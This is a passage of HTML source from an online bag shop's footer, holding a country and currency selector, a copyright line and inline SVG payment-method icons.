12310                        </button><button type="submit" name="country_code" value="GR" class="popover__choice-item">
12311                          <span class="popover__choice-label" >Greece (EUR €)
12312                          </span>
12313                        </button><button type="submit" name="country_code" value="GL" class="popover__choice-item">
12314                          <span class="popover__choice-label" >Greenland (DKK kr.)
12315                          </span>
12316                        </button><button type="submit" name="country_code" value="GD" class="popover__choice-item">
12317                          <span class="popover__choice-label" >Grenada (XCD $)
12318                          </span>
12319                        </button><button type="submit" name="country_code" value="GP" class="popover__choice-item">
12320                          <span class="popover__choice-label" >Guadeloupe (EUR €)
12321                          </span>
12322                        </button><button type="submit" name="country_code" value="GT" class="popover__choice-item">
12323                          <span class="popover__choice-label" >Guatemala (GTQ Q)
12324                          </span>
12325                        </button><button type="submit" name="country_code" value="GG" class="popover__choice-item">
12326                          <span class="popover__choice-label" >Guernsey (GBP £)
12327                          </span>
12328                        </button><button type="submit" name="country_code" value="GN" class="popover__choice-item">
12329                          <span class="popover__choice-label" >Guinea (GNF Fr)
12330                          </span>
12331                        </button><button type="submit" name="country_code" value="GW" class="popover__choice-item">
12332                          <span class="popover__choice-label" >Guinea-Bissau (XOF Fr)
12333                          </span>
12334                        </button><button type="submit" name="country_code" value="GY" class="popover__choice-item">
12335                          <span class="popover__choice-label" >Guyana (GYD $)
12336                          </span>
12337                        </button><button type="submit" name="country_code" value="HT" class="popover__choice-item">
12338                          <span class="popover__choice-label" >Haiti (EUR €)
12339                          </span>
12340                        </button><button type="submit" name="country_code" value="HN" class="popover__choice-item">
12341                          <span class="popover__choice-label" >Honduras (HNL L)
12342                          </span>
12343                        </button><button type="submit" name="country_code" value="HK" class="popover__choice-item">
12344                          <span class="popover__choice-label" >Hong Kong SAR (HKD $)
12345                          </span>
12346                        </button><button type="submit" name="country_code" value="HU" class="popover__choice-item">
12347                          <span class="popover__choice-label" >Hungary (HUF Ft)
12348                          </span>
12349                        </button><button type="submit" name="country_code" value="IS" class="popover__choice-item">
12350                          <span class="popover__choice-label" >Iceland (ISK kr)
12351                          </span>
12352                        </button><button type="submit" name="country_code" value="IN" class="popover__choice-item">
12353                          <span class="popover__choice-label" >India (INR ₹)
12354                          </span>
12355                        </button><button type="submit" name="country_code" value="ID" class="popover__choice-item">
12356                          <span class="popover__choice-label" >Indonesia (IDR Rp)
12357                          </span>
12358                        </button><button type="submit" name="country_code" value="IQ" class="popover__choice-item">
12359                          <span class="popover__choice-label" >Iraq (EUR €)
12360                          </span>
12361                        </button><button type="submit" name="country_code" value="IE" class="popover__choice-item">
12362                          <span class="popover__choice-label" >Ireland (EUR €)
12363                          </span>
12364                        </button><button type="submit" name="country_code" value="IM" class="popover__choice-item">
12365                          <span class="popover__choice-label" >Isle of Man (GBP £)
12366                          </span>
12367                        </button><button type="submit" name="country_code" value="IL" class="popover__choice-item">
12368                          <span class="popover__choice-label" >Israel (ILS ₪)
12369                          </span>
12370                        </button><button type="submit" name="country_code" value="IT" class="popover__choice-item">
12371                          <span class="popover__choice-label" >Italy (EUR €)
12372                          </span>
12373                        </button><button type="submit" name="country_code" value="JM" class="popover__choice-item">
12374                          <span class="popover__choice-label" >Jamaica (JMD $)
12375                          </span>
12376                        </button><button type="submit" name="country_code" value="JP" class="popover__choice-item">
12377                          <span class="popover__choice-label" >Japan (JPY ¥)
12378                          </span>
12379                        </button><button type="submit" name="country_code" value="JE" class="popover__choice-item">
12380                          <span class="popover__choice-label" >Jersey (EUR €)
12381                          </span>
12382                        </button><button type="submit" name="country_code" value="JO" class="popover__choice-item">
12383                          <span class="popover__choice-label" >Jordan (EUR €)
12384                          </span>
12385                        </button><button type="submit" name="country_code" value="KZ" class="popover__choice-item">
12386                          <span class="popover__choice-label" >Kazakhstan (KZT ₸)
12387                          </span>
12388                        </button><button type="submit" name="country_code" value="KE" class="popover__choice-item">
12389                          <span class="popover__choice-label" >Kenya (KES KSh)
12390                          </span>
12391                        </button><button type="submit" name="country_code" value="KI" class="popover__choice-item">
12392                          <span class="popover__choice-label" >Kiribati (EUR €)
12393                          </span>
12394                        </button><button type="submit" name="country_code" value="XK" class="popover__choice-item">
12395                          <span class="popover__choice-label" >Kosovo (EUR €)
12396                          </span>
12397                        </button><button type="submit" name="country_code" value="KW" class="popover__choice-item">
12398                          <span class="popover__choice-label" >Kuwait (EUR €)
12399                          </span>
12400                        </button><button type="submit" name="country_code" value="KG" class="popover__choice-item">
12401                          <span class="popover__choice-label" >Kyrgyzstan (KGS som)
12402                          </span>
12403                        </button><button type="submit" name="country_code" value="LA" class="popover__choice-item">
12404                          <span class="popover__choice-label" >Laos (LAK ₭)
12405                          </span>
12406                        </button><button type="submit" name="country_code" value="LV" class="popover__choice-item">
12407                          <span class="popover__choice-label" >Latvia (EUR €)
12408                          </span>
12409                        </button><button type="submit" name="country_code" value="LB" class="popover__choice-item">
12410                          <span class="popover__choice-label" >Lebanon (LBP ل.ل)
12411                          </span>
12412                        </button><button type="submit" name="country_code" value="LS" class="popover__choice-item">
12413                          <span class="popover__choice-label" >Lesotho (EUR €)
12414                          </span>
12415                        </button><button type="submit" name="country_code" value="LR" class="popover__choice-item">
12416                          <span class="popover__choice-label" >Liberia (EUR €)
12417                          </span>
12418                        </button><button type="submit" name="country_code" value="LY" class="popover__choice-item">
12419                          <span class="popover__choice-label" >Libya (EUR €)
12420                          </span>
12421                        </button><button type="submit" name="country_code" value="LI" class="popover__choice-item">
12422                          <span class="popover__choice-label" >Liechtenstein (CHF CHF)
12423                          </span>
12424                        </button><button type="submit" name="country_code" value="LT" class="popover__choice-item">
12425                          <span class="popover__choice-label" >Lithuania (EUR €)
12426                          </span>
12427                        </button><button type="submit" name="country_code" value="LU" class="popover__choice-item">
12428                          <span class="popover__choice-label" >Luxembourg (EUR €)
12429                          </span>
12430                        </button><button type="submit" name="country_code" value="MO" class="popover__choice-item">
12431                          <span class="popover__choice-label" >Macao SAR (MOP P)
12432                          </span>
12433                        </button><button type="submit" name="country_code" value="MG" class="popover__choice-item">
12434                          <span class="popover__choice-label" >Madagascar (EUR €)
12435                          </span>
12436                        </button><button type="submit" name="country_code" value="MW" class="popover__choice-item">
12437                          <span class="popover__choice-label" >Malawi (MWK MK)
12438                          </span>
12439                        </button><button type="submit" name="country_code" value="MY" class="popover__choice-item">
12440                          <span class="popover__choice-label" >Malaysia (MYR RM)
12441                          </span>
12442                        </button><button type="submit" name="country_code" value="MV" class="popover__choice-item">
12443                          <span class="popover__choice-label" >Maldives (MVR MVR)
12444                          </span>
12445                        </button><button type="submit" name="country_code" value="ML" class="popover__choice-item">
12446                          <span class="popover__choice-label" >Mali (XOF Fr)
12447                          </span>
12448                        </button><button type="submit" name="country_code" value="MT" class="popover__choice-item">
12449                          <span class="popover__choice-label" >Malta (EUR €)
12450                          </span>
12451                        </button><button type="submit" name="country_code" value="MQ" class="popover__choice-item">
12452                          <span class="popover__choice-label" >Martinique (EUR €)
12453                          </span>
12454                        </button><button type="submit" name="country_code" value="MR" class="popover__choice-item">
12455                          <span class="popover__choice-label" >Mauritania (EUR €)
12456                          </span>
12457                        </button><button type="submit" name="country_code" value="MU" class="popover__choice-item">
12458                          <span class="popover__choice-label" >Mauritius (MUR ₨)
12459                          </span>
12460                        </button><button type="submit" name="country_code" value="YT" class="popover__choice-item">
12461                          <span class="popover__choice-label" >Mayotte (EUR €)
12462                          </span>
12463                        </button><button type="submit" name="country_code" value="MX" class="popover__choice-item">
12464                          <span class="popover__choice-label" >Mexico (EUR €)
12465                          </span>
12466                        </button><button type="submit" name="country_code" value="MD" class="popover__choice-item">
12467                          <span class="popover__choice-label" >Moldova (MDL L)
12468                          </span>
12469                        </button><button type="submit" name="country_code" value="MC" class="popover__choice-item">
12470                          <span class="popover__choice-label" >Monaco (EUR €)
12471                          </span>
12472                        </button><button type="submit" name="country_code" value="MN" class="popover__choice-item">
12473                          <span class="popover__choice-label" >Mongolia (MNT ₮)
12474                          </span>
12475                        </button><button type="submit" name="country_code" value="ME" class="popover__choice-item">
12476                          <span class="popover__choice-label" >Montenegro (EUR €)
12477                          </span>
12478                        </button><button type="submit" name="country_code" value="MS" class="popover__choice-item">
12479                          <span class="popover__choice-label" >Montserrat (XCD $)
12480                          </span>
12481                        </button><button type="submit" name="country_code" value="MA" class="popover__choice-item">
12482                          <span class="popover__choice-label" >Morocco (MAD د.م.)
12483                          </span>
12484                        </button><button type="submit" name="country_code" value="MZ" class="popover__choice-item">
12485                          <span class="popover__choice-label" >Mozambique (EUR €)
12486                          </span>
12487                        </button><button type="submit" name="country_code" value="MM" class="popover__choice-item">
12488                          <span class="popover__choice-label" >Myanmar (Burma) (MMK K)
12489                          </span>
12490                        </button><button type="submit" name="country_code" value="NA" class="popover__choice-item">
12491                          <span class="popover__choice-label" >Namibia (EUR €)
12492                          </span>
12493                        </button><button type="submit" name="country_code" value="NR" class="popover__choice-item">
12494                          <span class="popover__choice-label" >Nauru (AUD $)
12495                          </span>
12496                        </button><button type="submit" name="country_code" value="NP" class="popover__choice-item">
12497                          <span class="popover__choice-label" >Nepal (NPR Rs.)
12498                          </span>
12499                        </button><button type="submit" name="country_code" value="NL" class="popover__choice-item">
12500                          <span class="popover__choice-label" >Netherlands (EUR €)
12501                          </span>
12502                        </button><button type="submit" name="country_code" value="NC" class="popover__choice-item">
12503                          <span class="popover__choice-label" >New Caledonia (XPF Fr)
12504                          </span>
12505                        </button><button type="submit" name="country_code" value="NZ" class="popover__choice-item">
12506                          <span class="popover__choice-label" >New Zealand (NZD $)
12507                          </span>
12508                        </button><button type="submit" name="country_code" value="NI" class="popover__choice-item">
12509                          <span class="popover__choice-label" >Nicaragua (NIO C$)
12510                          </span>
12511                        </button><button type="submit" name="country_code" value="NE" class="popover__choice-item">
12512                          <span class="popover__choice-label" >Niger (XOF Fr)
12513                          </span>
12514                        </button><button type="submit" name="country_code" value="NG" class="popover__choice-item">
12515                          <span class="popover__choice-label" >Nigeria (NGN ₦)
12516                          </span>
12517                        </button><button type="submit" name="country_code" value="NU" class="popover__choice-item">
12518                          <span class="popover__choice-label" >Niue (NZD $)
12519                          </span>
12520                        </button><button type="submit" name="country_code" value="NF" class="popover__choice-item">
12521                          <span class="popover__choice-label" >Norfolk Island (AUD $)
12522                          </span>
12523                        </button><button type="submit" name="country_code" value="MK" class="popover__choice-item">
12524                          <span class="popover__choice-label" >North Macedonia (MKD ден)
12525                          </span>
12526                        </button><button type="submit" name="country_code" value="NO" class="popover__choice-item">
12527                          <span class="popover__choice-label" >Norway (NOK kr)
12528                          </span>
12529                        </button><button type="submit" name="country_code" value="OM" class="popover__choice-item">
12530                          <span class="popover__choice-label" >Oman (EUR €)
12531                          </span>
12532                        </button><button type="submit" name="country_code" value="PK" class="popover__choice-item">
12533                          <span class="popover__choice-label" >Pakistan (PKR ₨)
12534                          </span>
12535                        </button><button type="submit" name="country_code" value="PS" class="popover__choice-item">
12536                          <span class="popover__choice-label" >Palestinian Territories (ILS ₪)
12537                          </span>
12538                        </button><button type="submit" name="country_code" value="PA" class="popover__choice-item">
12539                          <span class="popover__choice-label" >Panama (USD $)
12540                          </span>
12541                        </button><button type="submit" name="country_code" value="PG" class="popover__choice-item">
12542                          <span class="popover__choice-label" >Papua New Guinea (PGK K)
12543                          </span>
12544                        </button><button type="submit" name="country_code" value="PY" class="popover__choice-item">
12545                          <span class="popover__choice-label" >Paraguay (PYG ₲)
12546                          </span>
12547                        </button><button type="submit" name="country_code" value="PE" class="popover__choice-item">
12548                          <span class="popover__choice-label" >Peru (PEN S/)
12549                          </span>
12550                        </button><button type="submit" name="country_code" value="PH" class="popover__choice-item">
12551                          <span class="popover__choice-label" >Philippines (PHP ₱)
12552                          </span>
12553                        </button><button type="submit" name="country_code" value="PN" class="popover__choice-item">
12554                          <span class="popover__choice-label" >Pitcairn Islands (NZD $)
12555                          </span>
12556                        </button><button type="submit" name="country_code" value="PL" class="popover__choice-item">
12557                          <span class="popover__choice-label" >Poland (PLN zł)
12558                          </span>
12559                        </button><button type="submit" name="country_code" value="PT" class="popover__choice-item">
12560                          <span class="popover__choice-label" >Portugal (EUR €)
12561                          </span>
12562                        </button><button type="submit" name="country_code" value="QA" class="popover__choice-item">
12563                          <span class="popover__choice-label" >Qatar (QAR ر.ق)
12564                          </span>
12565                        </button><button type="submit" name="country_code" value="RE" class="popover__choice-item">
12566                          <span class="popover__choice-label" >Réunion (EUR €)
12567                          </span>
12568                        </button><button type="submit" name="country_code" value="RO" class="popover__choice-item">
12569                          <span class="popover__choice-label" >Romania (RON Lei)
12570                          </span>
12571                        </button><button type="submit" name="country_code" value="RU" class="popover__choice-item">
12572                          <span class="popover__choice-label" >Russia (EUR €)
12573                          </span>
12574                        </button><button type="submit" name="country_code" value="RW" class="popover__choice-item">
12575                          <span class="popover__choice-label" >Rwanda (RWF FRw)
12576                          </span>
12577                        </button><button type="submit" name="country_code" value="WS" class="popover__choice-item">
12578                          <span class="popover__choice-label" >Samoa (WST T)
12579                          </span>
12580                        </button><button type="submit" name="country_code" value="SM" class="popover__choice-item">
12581                          <span class="popover__choice-label" >San Marino (EUR €)
12582                          </span>
12583                        </button><button type="submit" name="country_code" value="ST" class="popover__choice-item">
12584                          <span class="popover__choice-label" >São Tomé &amp; Príncipe (STD Db)
12585                          </span>
12586                        </button><button type="submit" name="country_code" value="SA" class="popover__choice-item">
12587                          <span class="popover__choice-label" >Saudi Arabia (SAR ر.س)
12588                          </span>
12589                        </button><button type="submit" name="country_code" value="SN" class="popover__choice-item">
12590                          <span class="popover__choice-label" >Senegal (XOF Fr)
12591                          </span>
12592                        </button><button type="submit" name="country_code" value="RS" class="popover__choice-item">
12593                          <span class="popover__choice-label" >Serbia (RSD РСД)
12594                          </span>
12595                        </button><button type="submit" name="country_code" value="SC" class="popover__choice-item">
12596                          <span class="popover__choice-label" >Seychelles (EUR €)
12597                          </span>
12598                        </button><button type="submit" name="country_code" value="SL" class="popover__choice-item">
12599                          <span class="popover__choice-label" >Sierra Leone (SLL Le)
12600                          </span>
12601                        </button><button type="submit" name="country_code" value="SG" class="popover__choice-item">
12602                          <span class="popover__choice-label" >Singapore (SGD $)
12603                          </span>
12604                        </button><button type="submit" name="country_code" value="SX" class="popover__choice-item">
12605                          <span class="popover__choice-label" >Sint Maarten (ANG ƒ)
12606                          </span>
12607                        </button><button type="submit" name="country_code" value="SK" class="popover__choice-item">
12608                          <span class="popover__choice-label" >Slovakia (EUR €)
12609                          </span>
12610                        </button><button type="submit" name="country_code" value="SI" class="popover__choice-item">
12611                          <span class="popover__choice-label" >Slovenia (EUR €)
12612                          </span>
12613                        </button><button type="submit" name="country_code" value="SB" class="popover__choice-item">
12614                          <span class="popover__choice-label" >Solomon Islands (SBD $)
12615                          </span>
12616                        </button><button type="submit" name="country_code" value="SO" class="popover__choice-item">
12617                          <span class="popover__choice-label" >Somalia (EUR €)
12618                          </span>
12619                        </button><button type="submit" name="country_code" value="ZA" class="popover__choice-item">
12620                          <span class="popover__choice-label" >South Africa (EUR €)
12621                          </span>
12622                        </button><button type="submit" name="country_code" value="GS" class="popover__choice-item">
12623                          <span class="popover__choice-label" >South Georgia &amp; South Sandwich Islands (GBP £)
12624                          </span>
12625                        </button><button type="submit" name="country_code" value="KR" class="popover__choice-item">
12626                          <span class="popover__choice-label" >South Korea (KRW ₩)
12627                          </span>
12628                        </button><button type="submit" name="country_code" value="SS" class="popover__choice-item">
12629                          <span class="popover__choice-label" >South Sudan (EUR €)
12630                          </span>
12631                        </button><button type="submit" name="country_code" value="ES" class="popover__choice-item">
12632                          <span class="popover__choice-label" >Spain (EUR €)
12633                          </span>
12634                        </button><button type="submit" name="country_code" value="LK" class="popover__choice-item">
12635                          <span class="popover__choice-label" >Sri Lanka (LKR ₨)
12636                          </span>
12637                        </button><button type="submit" name="country_code" value="BL" class="popover__choice-item">
12638                          <span class="popover__choice-label" >St. Barthélemy (EUR €)
12639                          </span>
12640                        </button><button type="submit" name="country_code" value="SH" class="popover__choice-item">
12641                          <span class="popover__choice-label" >St. Helena (SHP £)
12642                          </span>
12643                        </button><button type="submit" name="country_code" value="KN" class="popover__choice-item">
12644                          <span class="popover__choice-label" >St. Kitts &amp; Nevis (XCD $)
12645                          </span>
12646                        </button><button type="submit" name="country_code" value="LC" class="popover__choice-item">
12647                          <span class="popover__choice-label" >St. Lucia (XCD $)
12648                          </span>
12649                        </button><button type="submit" name="country_code" value="MF" class="popover__choice-item">
12650                          <span class="popover__choice-label" >St. Martin (EUR €)
12651                          </span>
12652                        </button><button type="submit" name="country_code" value="PM" class="popover__choice-item">
12653                          <span class="popover__choice-label" >St. Pierre &amp; Miquelon (EUR €)
12654                          </span>
12655                        </button><button type="submit" name="country_code" value="VC" class="popover__choice-item">
12656                          <span class="popover__choice-label" >St. Vincent &amp; Grenadines (XCD $)
12657                          </span>
12658                        </button><button type="submit" name="country_code" value="SD" class="popover__choice-item">
12659                          <span class="popover__choice-label" >Sudan (EUR €)
12660                          </span>
12661                        </button><button type="submit" name="country_code" value="SR" class="popover__choice-item">
12662                          <span class="popover__choice-label" >Suriname (EUR €)
12663                          </span>
12664                        </button><button type="submit" name="country_code" value="SJ" class="popover__choice-item">
12665                          <span class="popover__choice-label" >Svalbard &amp; Jan Mayen (NOK kr)
12666                          </span>
12667                        </button><button type="submit" name="country_code" value="SE" class="popover__choice-item">
12668                          <span class="popover__choice-label" >Sweden (SEK kr)
12669                          </span>
12670                        </button><button type="submit" name="country_code" value="CH" class="popover__choice-item">
12671                          <span class="popover__choice-label" >Switzerland (CHF CHF)
12672                          </span>
12673                        </button><button type="submit" name="country_code" value="TW" class="popover__choice-item">
12674                          <span class="popover__choice-label" >Taiwan (TWD $)
12675                          </span>
12676                        </button><button type="submit" name="country_code" value="TJ" class="popover__choice-item">
12677                          <span class="popover__choice-label" >Tajikistan (TJS ЅМ)
12678                          </span>
12679                        </button><button type="submit" name="country_code" value="TZ" class="popover__choice-item">
12680                          <span class="popover__choice-label" >Tanzania (TZS Sh)
12681                          </span>
12682                        </button><button type="submit" name="country_code" value="TH" class="popover__choice-item">
12683                          <span class="popover__choice-label" >Thailand (THB ฿)
12684                          </span>
12685                        </button><button type="submit" name="country_code" value="TL" class="popover__choice-item">
12686                          <span class="popover__choice-label" >Timor-Leste (USD $)
12687                          </span>
12688                        </button><button type="submit" name="country_code" value="TG" class="popover__choice-item">
12689                          <span class="popover__choice-label" >Togo (XOF Fr)
12690                          </span>
12691                        </button><button type="submit" name="country_code" value="TK" class="popover__choice-item">
12692                          <span class="popover__choice-label" >Tokelau (NZD $)
12693                          </span>
12694                        </button><button type="submit" name="country_code" value="TO" class="popover__choice-item">
12695                          <span class="popover__choice-label" >Tonga (TOP T$)
12696                          </span>
12697                        </button><button type="submit" name="country_code" value="TT" class="popover__choice-item">
12698                          <span class="popover__choice-label" >Trinidad &amp; Tobago (TTD $)
12699                          </span>
12700                        </button><button type="submit" name="country_code" value="TA" class="popover__choice-item">
12701                          <span class="popover__choice-label" >Tristan da Cunha (GBP £)
12702                          </span>
12703                        </button><button type="submit" name="country_code" value="TR" class="popover__choice-item">
12704                          <span class="popover__choice-label" >Türkiye (EUR €)
12705                          </span>
12706                        </button><button type="submit" name="country_code" value="TN" class="popover__choice-item">
12707                          <span class="popover__choice-label" >Tunisia (EUR €)
12708                          </span>
12709                        </button><button type="submit" name="country_code" value="TM" class="popover__choice-item">
12710                          <span class="popover__choice-label" >Turkmenistan (EUR €)
12711                          </span>
12712                        </button><button type="submit" name="country_code" value="TC" class="popover__choice-item">
12713                          <span class="popover__choice-label" >Turks &amp; Caicos Islands (USD $)
12714                          </span>
12715                        </button><button type="submit" name="country_code" value="TV" class="popover__choice-item">
12716                          <span class="popover__choice-label" >Tuvalu (AUD $)
12717                          </span>
12718                        </button><button type="submit" name="country_code" value="UM" class="popover__choice-item">
12719                          <span class="popover__choice-label" >U.S. Outlying Islands (USD $)
12720                          </span>
12721                        </button><button type="submit" name="country_code" value="UG" class="popover__choice-item">
12722                          <span class="popover__choice-label" >Uganda (UGX USh)
12723                          </span>
12724                        </button><button type="submit" name="country_code" value="UA" class="popover__choice-item">
12725                          <span class="popover__choice-label" >Ukraine (UAH ₴)
12726                          </span>
12727                        </button><button type="submit" name="country_code" value="AE" class="popover__choice-item">
12728                          <span class="popover__choice-label" >United Arab Emirates (AED د.إ)
12729                          </span>
12730                        </button><button type="submit" name="country_code" value="GB" class="popover__choice-item">
12731                          <span class="popover__choice-label" >United Kingdom (GBP £)
12732                          </span>
12733                        </button><button type="submit" name="country_code" value="US" class="popover__choice-item">
12734                          <span class="popover__choice-label" aria-current="true">United States (USD $)
12735                          </span>
12736                        </button><button type="submit" name="country_code" value="UY" class="popover__choice-item">
12737                          <span class="popover__choice-label" >Uruguay (UYU $U)
12738                          </span>
12739                        </button><button type="submit" name="country_code" value="UZ" class="popover__choice-item">
12740                          <span class="popover__choice-label" >Uzbekistan (UZS so'm)
12741                          </span>
12742                        </button><button type="submit" name="country_code" value="VU" class="popover__choice-item">
12743                          <span class="popover__choice-label" >Vanuatu (VUV Vt)
12744                          </span>
12745                        </button><button type="submit" name="country_code" value="VA" class="popover__choice-item">
12746                          <span class="popover__choice-label" >Vatican City (EUR €)
12747                          </span>
12748                        </button><button type="submit" name="country_code" value="VE" class="popover__choice-item">
12749                          <span class="popover__choice-label" >Venezuela (USD $)
12750                          </span>
12751                        </button><button type="submit" name="country_code" value="VN" class="popover__choice-item">
12752                          <span class="popover__choice-label" >Vietnam (VND ₫)
12753                          </span>
12754                        </button><button type="submit" name="country_code" value="WF" class="popover__choice-item">
12755                          <span class="popover__choice-label" >Wallis &amp; Futuna (XPF Fr)
12756                          </span>
12757                        </button><button type="submit" name="country_code" value="EH" class="popover__choice-item">
12758                          <span class="popover__choice-label" >Western Sahara (MAD د.م.)
12759                          </span>
12760                        </button><button type="submit" name="country_code" value="YE" class="popover__choice-item">
12761                          <span class="popover__choice-label" >Yemen (YER ï·¼)
12762                          </span>
12763                        </button><button type="submit" name="country_code" value="ZM" class="popover__choice-item">
12764                          <span class="popover__choice-label" >Zambia (EUR €)
12765                          </span>
12766                        </button><button type="submit" name="country_code" value="ZW" class="popover__choice-item">
12767                          <span class="popover__choice-label" >Zimbabwe (USD $)
12768                          </span>
12769                        </button></div>
12770                  </div>
12771                </popover-content>
12772              </div></form><span class="footer__copyright text--xsmall text--subdued">ESSENTIALBAG <span class="square-separator square-separator--block square-separator--subdued"></span> Designed with ❤️ in Mainz</span><div class="footer__payment-methods">
12773            <span class="footer__payment-methods-label text--xsmall text--subdued">Payment methods</span>
12774
12775            <div class="payment-methods-list payment-methods-list--auto">
12776              
12777                <svg xmlns="http://www.w3.org/2000/svg" role="img" viewBox="0 0 38 24" width="38" height="24" fill="none" aria-labelledby="pi-american_express"><title id="pi-american_express">American Express</title><rect x=".5" y=".5" width="37" height="23" rx="2.5" stroke="#000" stroke-opacity=".07" fill="none"/><path d="M35 0H3C1.3 0 0 1.3 0 3V21C0 22.7 1.4 24 3 24H35C36.7 24 38 22.7 38 21V3C38 1.3 36.6 0 35 0Z" fill="#0071CE" style="fill:#0071CE;fill:color(display-p3 0.0000 0.4431 0.8078);fill-opacity:1;"/><path d="M3 0.5H35C36.3348 0.5 37.5 1.58692 37.5 3V21C37.5 22.4239 36.4239 23.5 35 23.5H3C1.66524 23.5 0.5 22.4131 0.5 21V3C0.5 1.57614 1.57614 0.5 3 0.5Z" stroke="black" stroke-opacity="0.07" style="stroke:black;stroke-opacity:0.07;"/><path d="M25.8662 6.33203V3H31L31.8662 5.5332L32.7334 3H37V14.2002H36.7998L34.8672 16.2656L36.7998 18.3594H37V21.2666H33.5996L31.9336 19.3994L30.2002 21.2666H19.4668V12.666H16L20.2666 3H24.4004L25.8662 6.33203ZM20.5996 20.2656H27V18.5322H22.666V17.3994H26.8662V15.666H22.666V14.5322H27V12.7988H20.5996V20.2656ZM30.5332 16.5322L27 20.2656H29.5996L31.8662 17.8662L34.0664 20.2656H36.7324L33.1992 16.4658L36.7324 12.7988H34.1328L31.8662 15.1992L29.7324 12.7988H27L30.5332 16.5322ZM17.666 11.7324H19.9326L20.5332 10.1992H23.999L24.666 11.7324H26.999L23.666 4.19922H20.999L17.666 11.7324ZM33.5996 4.19922L31.9326 8.86621L30.1992 4.19922H27V11.666H29.0664V6.39941L31 11.666H32.7998L34.7324 6.39941V11.666H36.7324V4.13281L33.5996 4.19922ZM23.2656 8.46582H21.2656L22.2656 5.99902L23.2656 8.46582Z" fill="white" style="fill:white;fill-opacity:1;"/></svg>
12778
12779              
12780                <svg version="1.1" xmlns="http://www.w3.org/2000/svg" role="img" x="0" y="0" width="38" height="24" viewBox="0 0 165.521 105.965" xml:space="preserve" aria-labelledby="pi-apple_pay"><title id="pi-apple_pay">Apple Pay</title><path fill="#000" d="M150.698 0H14.823c-.566 0-1.133 0-1.698.003-.477.004-.953.009-1.43.022-1.039.028-2.087.09-3.113.274a10.51 10.51 0 0 0-2.958.975 9.932 9.932 0 0 0-4.35 4.35 10.463 10.463 0 0 0-.975 2.96C.113 9.611.052 10.658.024 11.696a70.22 70.22 0 0 0-.022 1.43C0 13.69 0 14.256 0 14.823v76.318c0 .567 0 1.132.002 1.699.003.476.009.953.022 1.43.028 1.036.09 2.084.275 3.11a10.46 10.46 0 0 0 .974 2.96 9.897 9.897 0 0 0 1.83 2.52 9.874 9.874 0 0 0 2.52 1.83c.947.483 1.917.79 2.96.977 1.025.183 2.073.245 3.112.273.477.011.953.017 1.43.02.565.004 1.132.004 1.698.004h135.875c.565 0 1.132 0 1.697-.004.476-.002.952-.009 1.431-.02 1.037-.028 2.085-.09 3.113-.273a10.478 10.478 0 0 0 2.958-.977 9.955 9.955 0 0 0 4.35-4.35c.483-.947.789-1.917.974-2.96.186-1.026.246-2.074.274-3.11.013-.477.02-.954.022-1.43.004-.567.004-1.132.004-1.699V14.824c0-.567 0-1.133-.004-1.699a63.067 63.067 0 0 0-.022-1.429c-.028-1.038-.088-2.085-.274-3.112a10.4 10.4 0 0 0-.974-2.96 9.94 9.94 0 0 0-4.35-4.35A10.52 10.52 0 0 0 156.939.3c-1.028-.185-2.076-.246-3.113-.274a71.417 71.417 0 0 0-1.431-.022C151.83 0 151.263 0 150.698 0z" /><path fill="#FFF" d="M150.698 3.532l1.672.003c.452.003.905.008 1.36.02.793.022 1.719.065 2.583.22.75.135 1.38.34 1.984.648a6.392 6.392 0 0 1 2.804 2.807c.306.6.51 1.226.645 1.983.154.854.197 1.783.218 2.58.013.45.019.9.02 1.36.005.557.005 1.113.005 1.671v76.318c0 .558 
127800 1.114-.004 1.682-.002.45-.008.9-.02 1.35-.022.796-.065 1.725-.221 2.589a6.855 6.855 0 0 1-.645 1.975 6.397 6.397 0 0 1-2.808 2.807c-.6.306-1.228.511-1.971.645-.881.157-1.847.2-2.574.22-.457.01-.912.017-1.379.019-.555.004-1.113.004-1.669.004H14.801c-.55 0-1.1 0-1.66-.004a74.993 74.993 0 0 1-1.35-.018c-.744-.02-1.71-.064-2.584-.22a6.938 6.938 0 0 1-1.986-.65 6.337 6.337 0 0 1-1.622-1.18 6.355 6.355 0 0 1-1.178-1.623 6.935 6.935 0 0 1-.646-1.985c-.156-.863-.2-1.788-.22-2.578a66.088 66.088 0 0 1-.02-1.355l-.003-1.327V14.474l.002-1.325a66.7 66.7 0 0 1 .02-1.357c.022-.792.065-1.717.222-2.587a6.924 6.924 0 0 1 .646-1.981c.304-.598.7-1.144 1.18-1.623a6.386 6.386 0 0 1 1.624-1.18 6.96 6.96 0 0 1 1.98-.646c.865-.155 1.792-.198 2.586-.22.452-.012.905-.017 1.354-.02l1.677-.003h135.875" /><g><g><path fill="#000" d="M43.508 35.77c1.404-1.755 2.356-4.112 2.105-6.52-2.054.102-4.56 1.355-6.012 3.112-1.303 1.504-2.456 3.959-2.156 6.266 2.306.2 4.61-1.152 6.063-2.858" /><path fill="#000" d="M45.587 39.079c-3.35-.2-6.196 1.9-7.795 1.9-1.6 0-4.049-1.8-6.698-1.751-3.447.05-6.645 2-8.395 5.1-3.598 6.2-.95 15.4 2.55 20.45 1.699 2.5 3.747 5.25 6.445 5.151 2.55-.1 3.549-1.65 6.647-1.65 3.097 0 3.997 1.65 6.696 1.6 2.798-.05 4.548-2.5 6.247-5 1.95-2.85 2.747-5.6 2.797-5.75-.05-.05-5.396-2.101-5.446-8.251-.05-5.15 4.198-7.6 4.398-7.751-2.399-3.548-6.147-3.948-7.447-4.048" /></g><g><path fill="#000" d="M78.973 32.11c7.278 0 12.347 5.017 12.347 12.321 0 7.33-5.173 12.373-12.529 12.373h-8.058V69.62h-5.822V32.11h14.062zm-8.24 19.807h6.68c5.07 0 7.954-2.729 7.954-7.46 0-4.73-2.885-7.434-7.928-7.434h-6.706v14.894z" /><path fill="#000" d="M92.764 61.847c0-4.809 3.665-7.564 10.423-7.98l7.252-.442v-2.08c0-3.04-2.001-4.704-5.562-4.704-2.938 0-5.07 1.507-5.51 3.82h-5.252c.157-4.86 4.731-8.395 10.918-8.395 6.654 0 10.995 3.483 10.995 8.89v18.663h-5.38v-4.497h-.13c-1.534 2.937-4.914 4.782-8.579 4.782-5.406 0-9.175-3.222-9.175-8.057zm17.675-2.417v-2.106l-6.472.416c-3.64.234-5.536 1.585-5.536 3.95 0 2.288 1.975 3.77 5.068 3.77 3.95 0 6.94-2.522 6.94-6.03z" /><path fill="#000" d="M120.975 79.652v-4.496c.364.051 1.247.103 1.715.103 2.573 0 4.029-1.09 4.913-3.899l.52-1.663-9.852-27.293h6.082l6.863 22.146h.13l6.862-22.146h5.927l-10.216 28.67c-2.34 6.577-5.017 8.735-10.683 8.735-.442 0-1.872-.052-2.261-.157z" /></g></g></svg>
12781
12782              
